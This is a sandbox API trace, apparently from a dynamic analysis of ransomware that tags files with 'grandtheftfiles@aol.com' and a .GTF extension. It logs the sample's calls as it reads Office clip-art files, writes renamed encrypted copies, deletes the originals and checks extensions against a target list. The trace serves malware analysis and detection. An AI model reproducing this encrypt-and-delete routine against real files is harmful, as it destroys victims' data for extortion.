	[0087.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.040] GetLastError () returned 0x0
	[0087.040] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x45ba, lpOverlapped=0x0) returned 1
	[0087.043] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0087.044] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.044] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.044] SetEndOfFile (hFile=0x35c) returned 1
	[0087.045] CloseHandle (hObject=0x35c) returned 1
	[0087.045] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.045] SetEndOfFile (hFile=0x378) returned 1
	[0087.046] CloseHandle (hObject=0x378) returned 1
	[0087.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0087.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.046] lstrlenW (lpString=".doc") returned 4
	[0087.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.046] lstrlenW (lpString=".docx") returned 5
	[0087.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.046] lstrlenW (lpString=".pdf") returned 4
	[0087.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.046] lstrlenW (lpString=".xls") returned 4
	[0087.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.046] lstrlenW (lpString=".xlsx") returned 5
	[0087.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.046] lstrlenW (lpString=".ppt") returned 4
	[0087.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".zip") returned 4
	[0087.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.047] lstrlenW (lpString=".rar") returned 4
	[0087.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".bz2") returned 4
	[0087.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".7z") returned 3
	[0087.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".dbf") returned 4
	[0087.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".1cd") returned 4
	[0087.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".jpg") returned 4
	[0087.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.047] lstrlenW (lpString=".doc") returned 4
	[0087.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".docx") returned 5
	[0087.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.047] lstrlenW (lpString=".pdf") returned 4
	[0087.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.047] lstrlenW (lpString=".xls") returned 4
	[0087.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.047] lstrlenW (lpString=".xlsx") returned 5
	[0087.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.047] lstrlenW (lpString=".ppt") returned 4
	[0087.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".zip") returned 4
	[0087.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.048] lstrlenW (lpString=".rar") returned 4
	[0087.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".bz2") returned 4
	[0087.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString=".7z") returned 3
	[0087.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".dbf") returned 4
	[0087.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".1cd") returned 4
	[0087.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0087.048] lstrlenW (lpString=".jpg") returned 4
	[0087.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.048] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.048] lstrlenW (lpString="FD00076_.WMF") returned 12
	[0087.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.049] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11994) returned 1
	[0087.049] CloseHandle (hObject=0x378) returned 1
	[0087.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220
	[0087.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.049] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.049] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.049] GetLastError () returned 0x0
	[0087.049] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2eda, lpOverlapped=0x0) returned 1
	[0087.051] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2ee0, lpOverlapped=0x0) returned 1
	[0087.052] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.052] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.052] SetEndOfFile (hFile=0x35c) returned 1
	[0087.053] CloseHandle (hObject=0x35c) returned 1
	[0087.053] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.053] SetEndOfFile (hFile=0x378) returned 1
	[0087.054] CloseHandle (hObject=0x378) returned 1
	[0087.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0087.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.054] lstrlenW (lpString=".doc") returned 4
	[0087.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.054] lstrlenW (lpString=".docx") returned 5
	[0087.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.054] lstrlenW (lpString=".pdf") returned 4
	[0087.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.054] lstrlenW (lpString=".xls") returned 4
	[0087.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.054] lstrlenW (lpString=".xlsx") returned 5
	[0087.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.054] lstrlenW (lpString=".ppt") returned 4
	[0087.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".zip") returned 4
	[0087.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.055] lstrlenW (lpString=".rar") returned 4
	[0087.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".bz2") returned 4
	[0087.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".7z") returned 3
	[0087.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".dbf") returned 4
	[0087.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".1cd") returned 4
	[0087.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".jpg") returned 4
	[0087.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".doc") returned 4
	[0087.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".docx") returned 5
	[0087.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.055] lstrlenW (lpString=".pdf") returned 4
	[0087.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".xls") returned 4
	[0087.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.055] lstrlenW (lpString=".xlsx") returned 5
	[0087.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.055] lstrlenW (lpString=".ppt") returned 4
	[0087.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".zip") returned 4
	[0087.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.056] lstrlenW (lpString=".rar") returned 4
	[0087.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".bz2") returned 4
	[0087.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".7z") returned 3
	[0087.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".dbf") returned 4
	[0087.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".1cd") returned 4
	[0087.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".jpg") returned 4
	[0087.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.056] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.056] lstrlenW (lpString="FD00077_.WMF") returned 12
	[0087.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.057] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=30240) returned 1
	[0087.057] CloseHandle (hObject=0x378) returned 1
	[0087.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220
	[0087.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.057] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.057] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.057] GetLastError () returned 0x0
	[0087.057] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x7620, lpOverlapped=0x0) returned 1
	[0087.060] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7630, lpOverlapped=0x0) returned 1
	[0087.061] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.061] WriteFile (in: hFile=0x35c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.061] SetEndOfFile (hFile=0x35c) returned 1
	[0087.062] CloseHandle (hObject=0x35c) returned 1
	[0087.062] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.062] SetEndOfFile (hFile=0x378) returned 1
	[0087.063] CloseHandle (hObject=0x378) returned 1
	[0087.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0087.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.063] lstrlenW (lpString=".doc") returned 4
	[0087.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.063] lstrlenW (lpString=".docx") returned 5
	[0087.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.063] lstrlenW (lpString=".pdf") returned 4
	[0087.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.063] lstrlenW (lpString=".xls") returned 4
	[0087.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.064] lstrlenW (lpString=".xlsx") returned 5
	[0087.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.064] lstrlenW (lpString=".ppt") returned 4
	[0087.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".zip") returned 4
	[0087.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.064] lstrlenW (lpString=".rar") returned 4
	[0087.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".bz2") returned 4
	[0087.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".7z") returned 3
	[0087.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".dbf") returned 4
	[0087.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".1cd") returned 4
	[0087.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".jpg") returned 4
	[0087.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".doc") returned 4
	[0087.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".docx") returned 5
	[0087.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.064] lstrlenW (lpString=".pdf") returned 4
	[0087.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".xls") returned 4
	[0087.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.064] lstrlenW (lpString=".xlsx") returned 5
	[0087.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.065] lstrlenW (lpString=".ppt") returned 4
	[0087.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".zip") returned 4
	[0087.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.065] lstrlenW (lpString=".rar") returned 4
	[0087.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString=".bz2") returned 4
	[0087.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString=".7z") returned 3
	[0087.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".dbf") returned 4
	[0087.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".1cd") returned 4
	[0087.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".jpg") returned 4
	[0087.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.065] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.065] lstrlenW (lpString="FD00086_.WMF") returned 12
	[0087.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.066] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=29212) returned 1
	[0087.066] CloseHandle (hObject=0x378) returned 1
	[0087.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220
	[0087.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
